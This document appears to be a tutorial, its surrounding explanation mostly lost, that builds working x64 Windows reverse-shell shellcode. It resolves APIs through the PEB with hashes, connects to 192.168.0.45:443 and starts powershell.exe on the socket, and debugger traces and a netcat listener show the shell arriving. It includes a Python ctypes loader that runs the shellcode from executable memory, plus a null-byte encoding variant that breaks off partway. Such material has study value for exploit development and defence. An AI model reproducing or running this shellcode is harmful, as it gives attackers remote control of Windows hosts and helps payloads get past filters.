

Shellcode - 2

API

WS2_32.dll	WSAStartup	WSASocketA	WSAConnect	kernel32.dll	CreateProcessA
LoadLibraryA	ws2_32.dll				

```
load_module:
    mov rax, 0x6c6c;    #    "ll"    RAX
    push rax;    #
    mov rax, 0x642E32335F325357;    #    "WS2_32.D"    RAX
    push rax;    #
    mov rcx, rsp;    # RCX "ws2_32.dll\0"
    sub rsp, 0x20;    #
    mov rax, r12;    # RAX LoadLibraryA
    call rax;    # LoadLibraryA("ws2_32.dll")
    add rsp, 0x20;    #
    add rsp, 0x10;    #    "ws2_32.dll"
    mov r14, rax;    # R14 ws2_32.dll
```

ws2_32

```
0:004> r rax
rax=00007fffd96ce0000
0:004> lm m ws2_32
Browse full module list
start          end          module name
00007fffd`96ce0000 00007fffd`96d51000 WS2_32      (deferred)
```

Windows x64 fastcall RCX RDX R8 R9 (4) 0x20

RSP 8 16

```
0:004> r rsp
rsp=00000001a491af278
0:004> p
(7050.ff4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
KERNELBASE!CreateProcessInternalA+0x7b:
00007fffd`967258bb 0f1007 movups xmm0,xmmword ptr [rdi] ds:00000000`00000000=????????????????????????????????
```

```
sub rsp, 0x200; #
lea rdx, [rsp]; #      2
```

WSAStartup

WSAStartup **Winsock DLL** **WSAStartup**

```
int WSAStartup(
    WORD        wVersionRequired, # 0x0202 == Version 2.2
    [out] LPWSADATA lpWSADATA      # Pointer to where a WSADATA structure will be populated
);
```

wVersionRequired 0x202 lpWSADATA **WSAStartup**

```
call_wsastartup:
    mov r9, rax; # R9   ws2_32.dll
    mov r8d, 0x3bfcedcb; # WSAStartup
    mov rbx, r9; # ws2_32.dll      RBX
    call parse_module; #      WSAStartup
    xor rcx, rcx;
    mov cx, 0x198;
    sub rsp, rcx; #      lpWSADATA
    lea rdx, [rsp]; # lpWSADATA    RDX      2
    mov rcx, 0x202; # 0x202 wVersionRequired    RCX      1
    sub rsp, 0x28; #
    call rax; # WSAStartup
    add rsp, 0x28; #
```

0

```
0:004> g
Breakpoint 0 hit
00000231`f34a01a4 ffd0          call     rax {WS2_32!WSAStartup (00007ffd`96ceee40)}
0:004> p
00000231`f34a01a6 4883c458      add     rsp,58h
0:004> r rax
rax=0000000000000000
```

WSASocketA

WSASocketA WSASocketA

```
SOCKET WINAPI WSASocketA(
    [in] int          af,           # RCX  ( AF_INET == 2)
    [in] int          type,        # RDX  ( SOCK_STREAM == 1)
    [in] int          protocol,    # R8   ( IPPROTO_TCP == 6)
    [in] LPWSAProtocol_InfOA lpProtocolInfo, # R9   ( NULL)
    [in] GROUP        g,          # Stack ( NULL)
    [in] DWORD        dwFlags      # Stack ( NULL)
);
```

af 2 type 1 protocol 6 0 6 5 socket

```
call_wsasocket:
    mov r9, rbx;
    mov r8d, 0xadf509d9; # WSASocketA
    call parse_module; # WSASocketA
    sub rsp, 0x38; #
    mov rcx, 2; # af 2 1
    mov rdx, 1; # type 1 2
    mov r8, 6; # protocol 6 3
    xor r9, r9; # lpProtocolInfo 0 4
    mov [rsp+0x20], r9; # g 0 5
    mov [rsp+0x28], r9; # dwFlags 0 6
    call rax; # WSASocketA
    mov r12, rax; # socket R12 RAX
    add rsp, 0x38; #
```

0x230 () RAX RAX

```
0:004> g
Breakpoint 0 hit
00000231`f34a01e1 ffd0 call rax {WS2_32!WSASocketA (00007ffd`96cf5820)}
0:004> p
ModLoad: 00007ffd`956a0000 00007ffd`95709000 C:\Windows\system32\mswsock.dll
00000231`f34a01e3 4989c4 mov r12,rax
0:004> r rax
rax=0000000000000230
```

WSAConnect

WSAConnect

```
int WINAPI WSAConnect(
    [in] SOCKET          s,
    [in] const sockaddr *name,
    [in] int              namelen,
    [in] LPWSABUF         lpCallerData,
    [out] LPWSABUF        lpCalleeData,
    [in] LPQOS             lpSQOS,
    [in] LPQOS             lpGQOS
);
```

7 WSA~~SocketA~~ ~~2~~sockaddr ~~3~~sockaddr 0x16

sockaddr

```
typedef struct sockaddr_in {
    #if ...
        short          sin_family;
    #else
        ADDRESS_FAMILY sin_family;
    #endif
    USHORT             sin_port;
    IN_ADDR             sin_addr;
    CHAR               sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;
```

sin_family AF_INET 2sin_port sin_addr IP sin_zero 0

```
call_wsaconnect:
    mov r9, rbx;
    mov r8d, 0xb32dba0c; # WSAConnect
    call parse_module; # WSAConnect
    sub rsp, 0x20; # socketaddr
    mov rcx, r12; # WSASocketA RCX 1
    mov rdx, 2; # sin_family AF_INET 2
    mov [rsp], rdx; # socketaddr
    mov rdx, 0xbb01; # 443
    mov [rsp+2], rdx; # socketaddr
```

```

mov rdx, 0x2d00a8c0; # IP 192.168.0.45
mov [rsp+4], rdx; # IP sockaddr
lea rdx, [rsp]; # socketaddr 2
mov r8, 0x16; # namelen 0x16
xor r9, r9; # lpCallerData 0 4
sub rsp, 0x38; #
mov [rsp+0x20], r9; # lpCalleeData 0 5
mov [rsp+0x28], r9; # lpSQOS 0 6
mov [rsp+0x30], r9; # lpGQOS 0 7
call rax; # WSAConnect
add rsp, 0x38; #

```

RDX sockaddr

```

0:004> dw rdx 18
000000e6`8bfaec68 0002 bb01 a8c0 2d00 0000 0000 0000 0000
0:004> p
000002c2`92510264 4883c458      add      rsp,58h
0:004> r rax
rax=0000000000000000

```

0 netcat

```

(root@kali)-[~/Desktop]
# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.0.45] from (UNKNOWN) [192.168.0.37] 9801

```

CreateProcessA

CreateProcessA cmd.exe powershell.exe

```

BOOL CreateProcessA(
    [in, optional] LPCSTR          lpApplicationName,
    [in, out, optional] LPSTR      lpCommandLine,
    [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
    [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
    [in] BOOL      bInheritHandles,
    [in] DWORD     dwCreationFlags,
    [in, optional] LPVOID      lpEnvironment,

```

```

[in, optional]    LPCSTR          lpCurrentDirectory,
[in]              LPSTARTUPINFOA  lpStartupInfo,
[out]             LPPROCESS_INFORMATION lpProcessInformation
);

```

10 lpApplicationName lpCommandLine 2 lpCommandLine "powershell.exe" **lpInheritHandles**
1

lpStartupInfo 9 lpProcessInformation 10

STARTINFO

```

typedef struct _STARTUPINFOA {
    DWORD    cb;
    LPSTR    lpReserved;
    LPSTR    lpDesktop;
    LPSTR    lpTitle;
    DWORD    dwX;
    DWORD    dwY;
    DWORD    dwXSize;
    DWORD    dwYSize;
    DWORD    dwXCountChars;
    DWORD    dwYCountChars;
    DWORD    dwFillAttribute;
    DWORD    dwFlags;
    WORD     wShowWindow;
    WORD     cbReserved2;
    LPBYTE   lpReserved2;
    HANDLE   hStdInput;
    HANDLE   hStdOutput;
    HANDLE   hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

```

```

0: 004> dt combase! STARTUPINFOA
+0x000 cb                : Uint4B
+0x008 lpReserved        : Ptr64 Char
+0x010 lpDesktop          : Ptr64 Char
+0x018 lpTitle            : Ptr64 Char
+0x020 dwX                : Uint4B

```

+0x024 dwY	: Uint4B
+0x028 dwXSize	: Uint4B
+0x02c dwYSize	: Uint4B
+0x030 dwXCountChars	: Uint4B
+0x034 dwYCountChars	: Uint4B
+0x038 dwFillAttribute	: Uint4B
+0x03c dwFlags	: Uint4B
+0x040 wShowWindow	: Uint2B
+0x042 cbReserved2	: Uint2B
+0x048 lpReserved2	: Ptr64 UChar
+0x050 hStdInput	: Ptr64 Void
+0x058 hStdOutput	: Ptr64 Void
+0x060 hStdError	: Ptr64 Void

cbdwFlags 3Dcb 0x68dwFlags 0x100hStdInputhStdOutputhStdError WSASocketA

```

push r12; #   STDERROR   WSASocketA
push r12; #   STDOUTPUT  WSASocketA
push r12; #   STDINPUT   WSASocketA
xor rdx, rdx;
push dx; #   dwFlags       0
push rdx;
push rdx;
mov rdx, 0x100;
push dx; #   dwFlags   0x100
xor rdx, rdx;
push dx; #   cb           0
push dx;
push rdx;
push rdx;
push rdx;
push rdx;
push rdx;
push rdx;
push rdx;
mov rdx, 0x68;
push rdx; #   cb   0x68
mov rdi, rsp; #   STARTINFOA
mov rdx, rsp;
sub rdx, 0x500; #   ProcessInformation
push rdx; #   ProcessInformation       10

```

push rdi; # STARTINFOA 9

CreateProcessA 1 8 CreateProcessA

```
call_createprocess:
    mov r9, rbp; # R9 Kernel32.dll
    mov r8d, 0x16b3fe72; # CreateProcessA
    call parse_module; # CreateProcessA
    mov rdx, 0x6578652e6c6c; # "exe.ll"
    push rdx;
    mov rdx, 0x6568737265776f70; # "ehsrewop"
    push rdx; # "powershell.exe"
    mov rcx, rsp; # "powershell.exe" RCX
    push r12; # STDERROR WSASocketA
    push r12; # STDOUTPUT WSASocketA
    push r12; # STDINPUT WSASocketA
    xor rdx, rdx;
    push dx; # dwFlags 0
    push rdx;
    push rdx;
    mov rdx, 0x100;
    push dx; # dwFlags 0x100
    xor rdx, rdx;
    push dx; # cb 0
    push dx;
    push rdx;
    push rdx;
    push rdx;
    push rdx;
    push rdx;
    push rdx;
    mov rdx, 0x68;
    push rdx; # cb 0x68
    mov rdi, rsp; # STARTINFOA
    mov rdx, rsp;
    sub rdx, 0x20; # ProcessInformation
    push rdx; # ProcessInformation 10
    push rdi; # STARTINFOA 9
    xor rdx, rdx;
    push rdx; # lpCurrentDirectory 0 8
```

```

push rdx; # lpEnvironment 0 7
push rdx; # dwCreationFlags 0 6
inc rdx;
push rdx; # bInheritHandles 1 5
xor rdx, rdx;
push rdx; # ( 4 )
push rdx; # ( 3 )
push rdx; # ( 2 )
push rdx; # ( 1 )
mov rdx, rcx; # lpCommandLine "powershell.exe" 2
xor rcx, rcx; # lpCommandLine lpApplicationName
mov r8, rcx; # lpProcessAttributes 0 3
mov r9, rcx; # lpThreadAttributes 0 4
call rax;

```

```

0:004> r rcx
rcx=0000000000000000
0:004> da rdx
000000a9`797afb48 "powershell.exe"
0:004> dq rsp la
000000a9`797afa90 00000000`00000000 00000000`00000000
000000a9`797afaa0 00000000`00000000 00000000`00000000
000000a9`797afab0 00000000`00000001 00000000`00000000
000000a9`797afac0 00000000`00000000 00000000`00000000
000000a9`797afad0 000000a9`797afae0 000000a9`797afac0
0:004> dt combase!STARTUPINFOA 000000a9`797afae0
+0x000 cb : 0x68
+0x008 lpReserved : (null)
+0x010 lpDesktop : (null)
+0x018 lpTitle : (null)
+0x020 dwX : 0
+0x024 dwY : 0
+0x028 dwXSize : 0
+0x02c dwYSize : 0
+0x030 dwXCountChars : 0
+0x034 dwYCountChars : 0
+0x038 dwFillAttribute : 0
+0x03c dwFlags : 0x100
+0x040 wShowWindow : 0
+0x042 cbReserved2 : 0
+0x048 lpReserved2 : (null)
+0x050 hStdInput : 0x00000000`00000234 Void
+0x058 hStdOutput : 0x00000000`00000234 Void
+0x060 hStdError : 0x00000000`00000234 Void

```

Shell

```
(root@kali)-[~/Desktop]
# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.0.45] from (UNKNOWN) [192.168.0.37] 7547
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Administrator> █
```

Shellcode

```
import ctypes, struct
from keystone import *

CODE = (
    "start: "
    "    sub rsp, 0x20;"          #
    "    call find_kernel32;"
    "    add rsp, 0x20;"        #
    "    mov rbp, rax;"         # RBP  Kernel32.dll
    "    mov r8d, 0xec0e4e8e;"   # LoadLibraryA
    "    sub rsp, 0x20;"        #
    "    call parse_module;"     #   LoadLibraryA
    "    add rsp, 0x20;"        #
    "    mov r12, rax;"
    "    mov r8d, 0x7c0dfcaa;"   # GetProcAddress
    "    sub rsp, 0x20;"        #
    "    call parse_module;"     #   GetProcAddress
    "    add rsp, 0x20;"        #
    "    mov r13, rax;"
    "    call load_module;"

    "find_kernel32: "
    "    xor rdx, rdx;"
    "    mov rax, gs:[rdx+0x60];" # RAX TEB ProcessEnvironmentBlock   PEB
    "    mov rsi,[rax+0x18];"     # PEB  LDR    _PEB_LDR_DATA
    "    mov rsi,[rsi + 0x20];"   # RSI _PEB_LDR_DATA   InMemoryOrderModuleList

    "next_module: "
    "    mov r9, [rsi + 0x20];"   # R9
```

```

"    mov rdi, [rsi + 0x50];"      # RDI    DllBaseName Buffer
"    mov rsi, [rsi];"            #
"    add rdi, 2;"                #    K

"check_upper:"                  #    "ERNEL32."
"    mov r12, 0x0045004E00520045;"    # Unicode    "ENRE"
"    mov r13, 0x002e00320033004c;"    # Unicode    ".23L"
"    mov rdx, qword ptr [rdi];"      #    "ERNEL32.DLL"    RDX
"    cmp rdx, r12;"                #    4    "ENRE"
"    jne check_lower;"            #
"    mov rdx, qword ptr [rdi + 8];"    #    ".23L"    RDX
"    cmp rdx, r13;"                #    4    ".23L"
"    jne next_module;"            #
"    mov rax, r9;"                #    kernel32
"    ret;"

"check_lower:"                  #    "ernel32."
"    mov r12, 0x0065006E00720065;"    # Unicode    "enre"
"    mov r13, 0x002e00320033006c;"    # Unicode    ".23l"
"    mov rdx, qword ptr [rdi];"
"    cmp rdx, r12;"
"    jne next_module;"            #
"    mov rdx, qword ptr [rdi + 8];"
"    cmp rdx, r13;"
"    jne next_module;"
"    mov rax, r9;"
"    ret;"

"parse_module:"                #    DLL
"    mov ecx, dword ptr [r9 + 0x3c];"    # R9    NT
"    mov r15d, dword ptr [r9 + rcx + 0x88];"    #    RVA
"    add r15, r9;"                # R14    VMA
"    mov ecx, dword ptr [r15 + 0x18];"    # ecx
"    mov r14d, dword ptr [r15 + 0x20];"    #    ENPT RVA
"    add r14, r9;"                # R14    ENPT VMA

"search_function:"              #
"    jrcxz not_found;"            #    RCX 0
"    dec ecx;"                    #    1

```

```

"    xor rsi, rsi;"
"    mov esi, [r14 + rcx*4];"      #      RVA
"    add rsi, r9;"      # RSI

"function_hashing:"      #
"    xor rax, rax;"
"    xor rdx, rdx;"
"    cld;"      # DF

"iteration:"      #
"    lodsb;"      # RSI      Al
"    test al, al;"      #
"    jz compare_hash;"      #
"    ror edx, 0x0d;"      #
"    add edx, eax;"      #
"    jmp iteration;"      #

"compare_hash:"      #
"    cmp edx, r8d;"
"    jnz search_function;"      #      (      )
"    mov r10d, [r15 + 0x24];"      #      RVA
"    add r10, r9;"      #      VMA
"    movzx ecx, word ptr [r10 + 2*rcx];"      #      -1
"    mov r11d, [r15 + 0x1c];"      # EAT RVA
"    add r11, r9;"      # EAT VNA
"    mov eax, [r11 + 4*rcx];"      # RAX      RVA
"    add rax, r9;"      # RAX      VMA
"    ret;"

"not_found:"
"    ret;"

"load_module:"
"    mov rax, 0x6c6c;"      #      "ll"      RAX
"    push rax;"      #
"    mov rax, 0x642E32335F325357;"      #      "WS2_32.D"      RAX
"    push rax;"      #
"    mov rcx, rsp;"      # RCX "ws2_32.dll\0"
"    sub rsp, 0x20;"      #
"    mov rax, r12;"      # RAX LoadLibraryA

```

```

"    call rax;"          # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"      #
"    add rsp, 0x10;"      #    "ws2_32.dll"
"    mov r14, rax;"      # R14    ws2_32.dll

"call_wsastartup:"
"    mov r9, rax;"      # R9    ws2_32.dll
"    mov r8d, 0x3bfcedcb;"    # WSASStartup
"    mov rbx, r9;"      #    ws2_32.dll    RBX
"    call parse_module;"    #    WSASStartup
"    xor rcx, rcx;"
"    mov cx, 0x198;"
"    sub rsp, rcx;"      #    lpWSADATA    "
"    lea rdx, [rsp];"    #    lpWSADATA    RDX    2
"    mov rcx, 0x202;"    #    0x202    wVersionRequired    RCX    1
"    sub rsp, 0x28;"      #
"    call rax;"          #    WSASStartup
"    add rsp, 0x28;"      #

"call_wsasocket:"
"    mov r9, rbx;"
"    mov r8d, 0xadf509d9;"    # WSASocketA
"    call parse_module;"    #    WSASocketA
"    sub rsp, 0x38;"      #
"    mov rcx, 2;"        #    af 2    1
"    mov rdx, 1;"        #    type 1    2
"    mov r8, 6;"         #    protocol 6    3
"    xor r9, r9;"        #    lpProtocolInfo 0    4
"    mov [rsp+0x20], r9;"    #    g 0    5
"    mov [rsp+0x28], r9;"    #    dwFlags 0    6
"    call rax;"          #    WSASocketA
"    mov r12, rax;"      #    socket    R12    RAX
"    add rsp, 0x38;"      #

"call_wsaconnect:"
"    mov r9, rbx;"
"    mov r8d, 0xb32dba0c;"    # WSAConnect
"    call parse_module;"    #    WSAConnect
"    sub rsp, 0x20;"      #    socketaddr    ( >=0x18 )
"    mov rcx, r12;"      #    WSASocketA    RCX    1

```

```

"    mov rdx, 2;"          # sin_family    AF_INET  2
"    mov [rsp], rdx;"      #    socketaddr
"    mov rdx, 0xbb01;"     #          443
"    mov [rsp+2], rdx;"    #          socketaddr
"    mov rdx, 0x2d00a8c0;" #    IP 192.168.0.45
"    mov [rsp+4], rdx;"    #    IP    sockaddr
"    lea rdx, [rsp];"      #    socketaddr      2
"    mov r8, 0x16;"        #    namelen    0x16
"    xor r9, r9;"          # lpCallerData 0    4
"    sub rsp, 0x38;"       #
"    mov [rsp+0x20], r9;"   # lpCalleeData 0    5
"    mov [rsp+0x28], r9;"   # lpSQOS 0    6
"    mov [rsp+0x30], r9;"   # lpGQOS 0    7
"    call rax;"            #    WSAConnect
"    add rsp, 0x38;"       #

"call_createprocess:"
"    mov r9, rbp;"          # R9 Kernel32.dll
"    mov r8d, 0x16b3fe72;"  # CreateProcessA
"    call parse_module;"    #    CreateProcessA
"    mov rdx, 0x6578652e6c6c;" #    "exe.ll"
"    push rdx;"
"    mov rdx, 0x6568737265776f70;" #    "ehsrewop"
"    push rdx;"            # "powershell.exe"
"    mov rcx, rsp;"         # "powershell.exe"    RCX
"    push r12;"            #    STDERROR    WSAcketA
"    push r12;"            #    STDOUTPUT    WSAcketA
"    push r12;"            #    STDINPUT    WSAcketA
"    xor rdx, rdx;"
"    push dx;"             #    dwFlags      0
"    push rdx;"
"    push rdx;"
"    mov rdx, 0x100;"
"    push dx;"            #    dwFlags    0x100"
"    xor rdx, rdx;"
"    push dx;"            #    cb          0
"    push dx;"
"    push rdx;"
"    push rdx;"
"    push rdx;"

```

```

"    push rdx;"
"    push rdx;"
"    push rdx;"
"    mov rdx, 0x68;"
"    push rdx;"      #    cb  0x68
"    mov rdi, rsp;"   #    STARTINFOA
"    mov rdx, rsp;"
"    sub rdx, 0x20;"   #    ProcessInformation
"    push rdx;"       #    ProcessInformation      10
"    push rdi;"       #    STARTINFOA            9
"    xor rdx, rdx;"
"    push rdx;"       #    lpCurrentDirectory 0   8
"    push rdx;"       #    lpEnvironment 0   7
"    push rdx;"       #    dwCreationFlags 0   6
"    inc rdx;"
"    push rdx;"       #    bInheritHandles 1   5
"    xor rdx, rdx;"
"    push rdx;"       #           ( 4 )
"    push rdx;"       #           ( 3 )
"    push rdx;"       #           ( 2 )
"    push rdx;"       #           ( 1 )
"    mov rdx, rcx;"    #    lpCommandLine "powershell.exe"      2
"    xor rcx, rcx;"    #    lpCommandLine    lpApplicationName
"    mov r8, rcx;"     #    lpProcessAttributes 0   3
"    mov r9, rcx;"     #    lpThreadAttributes 0   4
"    call rax;"
)

```

```

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

```

```

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

```

```

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

```

```

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                           ctypes.c_int(len(shellcode)),
                                           ctypes.c_int(0x3000),
                                           ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.c_uint64(ptr),
                                          ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

```

Shellcode

0x00

644 0x00

Shellcode

0x00

Shellcode

0x00

[illegible]

<https://defuse.ca/online-x86-assembler.htm#disassembly>

UnicodeShellcode 0x00 2

```

61: 49 bc 45 00 52 00 4e      movabs r12,0x45004e00520045
68: 00 45 00
6b: 49 bd 4c 00 33 00 32      movabs r13,0x2e00320033004c
72: 00 2e 00
75: 48 8b 17                  mov     rdx,QWORD PTR [rdi]
78: 4c 39 e2                  cmp     rdx,r12
7b: 75 0d                     jne     8a <check_lower>
7d: 48 8b 57 08              mov     rdx,QWORD PTR [rdi+0x8]
81: 4c 39 ea                  cmp     rdx,r13

```

0x00

```
call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
```

```

mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
mov     rdx, 2
mov     rdx, 0xBB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h

```

mov r12, 0x0045004e00520045

```

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

```

0x00

```

0:  49 bc 55 10 62 10 5e    movabs r12,0x1055105e10621055
7:  10 55 10
a:  48 b8 10 10 10 10 10    movabs rax,0x1010101010101010
11: 10 10 10
14: 49 29 c4                sub     r12,rax

```

mov rcx, 2 neg

```

mov rcx, 0xfffffffffffffffe;
neg rcx;

```

Disassembly:

```
0:  48 c7 c1 fe ff ff ff    mov     rcx,0xfffffffffffffffe
7:  48 f7 d9                 neg     rcx
```

```
xor rcx, rcx;
inc rcx;
inc rcx;
```

```
0:  48 31 c9                xor     rcx,rcx
3:  48 ff c1                inc     rcx
6:  48 ff c1                inc     rcx
```

```
xor rcx, rcx;
mov cl,2;
```

```
0:  48 31 c9                xor     rcx,rcx
3:  b1 02                  mov     cl,0x2
```

0x00

```
import ctypes, struct
from keystone import *

CODE = (
    "start:"
    "    sub rsp, 0x20;"          #
    "    call find_kernel32;"
    "    add rsp, 0x20;"        #
```

```

"    mov rbp, rax;"        # RBP  Kernel32.dll
"    mov r8d, 0xec0e4e8e;"    # LoadLibraryA
"    sub rsp, 0x20;"        #
"    call parse_module;"      #    LoadLibraryA
"    add rsp, 0x20;"        #
"    mov r12, rax;"
"    mov r8d, 0x7c0dfcaa;"    # GetProcAddress
"    sub rsp, 0x20;"        #
"    call parse_module;"      #    GetProcAddress
"    add rsp, 0x20;"        #
"    mov r13, rax;"
"    call load_module;"

"find_kernel32:"
"    xor rdx, rdx;"
"    mov rax, gs:[rdx+0x60];"    # RAX TEB ProcessEnvironmentBlock    PEB
"    mov rsi,[rax+0x18];"      # PEB    LDR    _PEB_LDR_DATA
"    mov rsi,[rsi + 0x20];"    # RSI _PEB_LDR_DATA    InMemoryOrderModuleList

"next_module:"
"    mov r9, [rsi + 0x20];"    # R9
"    mov rdi, [rsi + 0x50];"    # RDI    DllBaseName    Buffer
"    mov rsi, [rsi];"        #
"    add rdi, 2;"            #    K

"check_upper:"    #    "ERNEL32."
"    mov r12, 0x1055105E10621055;"    # Unicode    "ENRE"    0x1010101010101010
"    mov rax, 0x1010101010101010;"
"    sub r12, rax;"
"    mov r13, 0x103e10421043105c;"    # Unicode    ".23L"    0x1010101010101010
"    mov rax, 0x1010101010101010;"
"    sub r13, rax;"
"    mov rdx, qword ptr [rdi];"    #    "ERNEL32.DLL"    RDX
"    cmp rdx, r12;"        #    4    "ENRE"
"    jne check_lower;"    #
"    mov rdx, qword ptr [rdi + 8];"    #    ".23L"    RDX
"    cmp rdx, r13;"        #    4    ".23L"
"    jne next_module;"    #
"    mov rax, r9;"        #    kernel32
"    ret;"

```

```

"check_lower:"      # "ernel32."
"  mov r12, 0x1075107E10821075;"      # Unicode  "enre"  0x10101010
"  mov rax, 0x1010101010101010;"
"  sub r12, rax;"
"  mov r13, 0x103e10421043107c;"      # Unicode  ".23l"  0x10101010
"  mov rax, 0x1010101010101010;"
"  sub r13, rax;"
"  mov rdx, qword ptr [rdi];"
"  cmp rdx, r12;"
"  jne next_module;"      #
"  mov rdx, qword ptr [rdi + 8];"
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"

"parse_module:"      #      DLL
"  mov ecx, dword ptr [r9 + 0x3c];"      # R9      NT
"  xor r15, r15;"
"  mov r15b, 0x88;"
"  add r15, r9;"
"  add r15, rcx;"
"  mov r15d, dword ptr [r15];"      #      RVA
"  add r15, r9;"      # R14      VMA
"  mov ecx, dword ptr [r15 + 0x18];"      # ecx
"  mov r14d, dword ptr [r15 + 0x20];"      # ENPT RVA
"  add r14, r9;"      # R14      ENPT VMA

"search_function:"      #
"  jrcxz not_found;"      # RCX 0
"  dec ecx;"      # 1
"  xor rsi, rsi;"
"  mov esi, [r14 + rcx*4];"      #      RVA
"  add rsi, r9;"      # RSI

"function_hashing:"      #
"  xor rax, rax;"
"  xor rdx, rdx;"

```

```

"    cld;"          #    DF

"iteration:"        #
"    lodsb;"        # RSI        Al
"    test al, al;"    #
"    jz compare_hash;"    #
"    ror edx, 0x0d;"    #
"    add edx, eax;"    #
"    jmp iteration;"    #

"compare_hash:"    #
"    cmp edx, r8d;"
"    jnz search_function;"    #        (        )
"    mov r10d, [r15 + 0x24];"    #    RVA
"    add r10, r9;"    #    VMA
"    movzx ecx, word ptr [r10 + 2*rcx];"    #    -1
"    mov r11d, [r15 + 0x1c];"    # EAT RVA
"    add r11, r9;"    # EAT VNA
"    mov eax, [r11 + 4*rcx];"    # RAX    RVA
"    add rax, r9;"    # RAX    VMA
"    ret;"

"not_found:"
"    ret;"

"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"    #    "ll"    RAX
"    push rax;"    #
"    mov rax, 0x642E32335F325357;"    #    "WS2_32.D"    RAX
"    push rax;"    #
"    mov rcx, rsp;"    # RCX    "ws2_32.dll\0"
"    sub rsp, 0x20;"    #
"    mov rax, r12;"    # RAX LoadLibraryA
"    call rax;"    # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"    #
"    add rsp, 0x10;"    #    "ws2_32.dll"
"    mov r14, rax;"    # R14    ws2_32.dll

"call_wsastartup:"

```

```

"    mov r9, rax;"      # R9    ws2_32.dll
"    mov r8d, 0x3bfcedcb;"    # WSASStartup
"    mov rbx, r9;"      # ws2_32.dll    RBX
"    call parse_module;"    #    WSASStartup
"    xor rcx, rcx;"
"    mov cx, 0x198;"
"    sub rsp, rcx;"      #    lpWSDATA    "
"    lea rdx, [rsp];"      # lpWSAData    RDX    2
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"      # 0x202 wVersionRequired    RCX    1
"    sub rsp, 0x28;"      #
"    call rax;"      # WSASStartup
"    add rsp, 0x28;"      #

"call_wsasocket:"
"    mov r9, rbx;"
"    mov r8d, 0xadf509d9;"    # WSASocketA
"    call parse_module;"    # WSASocketA
"    sub rsp, 0x38;"      #
"    xor rcx, rcx;"
"    mov cl, 2;"      #    mov rcx, 2;    # af 2    1
"    xor rdx, rdx;"
"    mov dl, 1;"      # type 1    2
"    xor r8, r8;"
"    mov r8b, 6;"      # protocol 6    3
"    xor r9, r9;"      # lpProtocolInfo 0    4
"    mov [rsp+0x20], r9;"    # g 0    5
"    mov [rsp+0x28], r9;"    # dwFlags 0    6
"    call rax;"      # WSASocketA
"    mov r12, rax;"      #    socket    R12    RAX
"    add rsp, 0x38;"      #

"call_wsaconnect:"
"    mov r9, rbx;"
"    mov r8d, 0xb32dba0c;"    # WSAConnect
"    call parse_module;"    # WSAConnect
"    sub rsp, 0x20;"      # socketaddr    (>=0x18 )

```

```

"    mov rcx, r12;"      # WSAsocketA      RCX  1
"    xor rdx, rdx;"
"    mov dl, 2;"        # sin_family      AF_INET 2
"    mov [rsp], rdx;"    # socketaddr
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"    #      443
"    mov [rsp+2], rdx;"  #      socketaddr
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;" # IP 192.168.0.45
"    mov [rsp+4], rdx;"  # IP sockaddr
"    lea rdx, [rsp];"    # socketaddr      2
"    xor r8, r8;"
"    mov r8b, 0x16;"     # namelen 0x16
"    xor r9, r9;"        # lpCallerData 0  4
"    sub rsp, 0x38;"     #
"    mov [rsp+0x20], r9;" # lpCalleeData 0  5
"    mov [rsp+0x28], r9;" # lpSQOS 0  6
"    mov [rsp+0x30], r9;" # lpGQOS 0  7
"    call rax;"          # WSAConnect
"    add rsp, 0x38;"     #

"call_createprocess:"
"    mov r9, rbp;"       # R9 Kernel32.dll
"    mov r8d, 0x16b3fe72;" # CreateProcessA
"    call parse_module;" # CreateProcessA
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"      # "exe.ll"
"    push rdx;"
"    mov rdx, 0x6568737265776f70;" # "ehsrewop"
"    push rdx;"          # "powershell.exe"
"    mov rcx, rsp;"      # "powershell.exe"  RCX
"    push r12;"          # STDERROR WSAsocketA
"    push r12;"          # STDOUTPUT WSAsocketA
"    push r12;"          # STDINPUT WSAsocketA
"    xor rdx, rdx;"
"    push dx;"           # dwFlags 0
"    push rdx;"
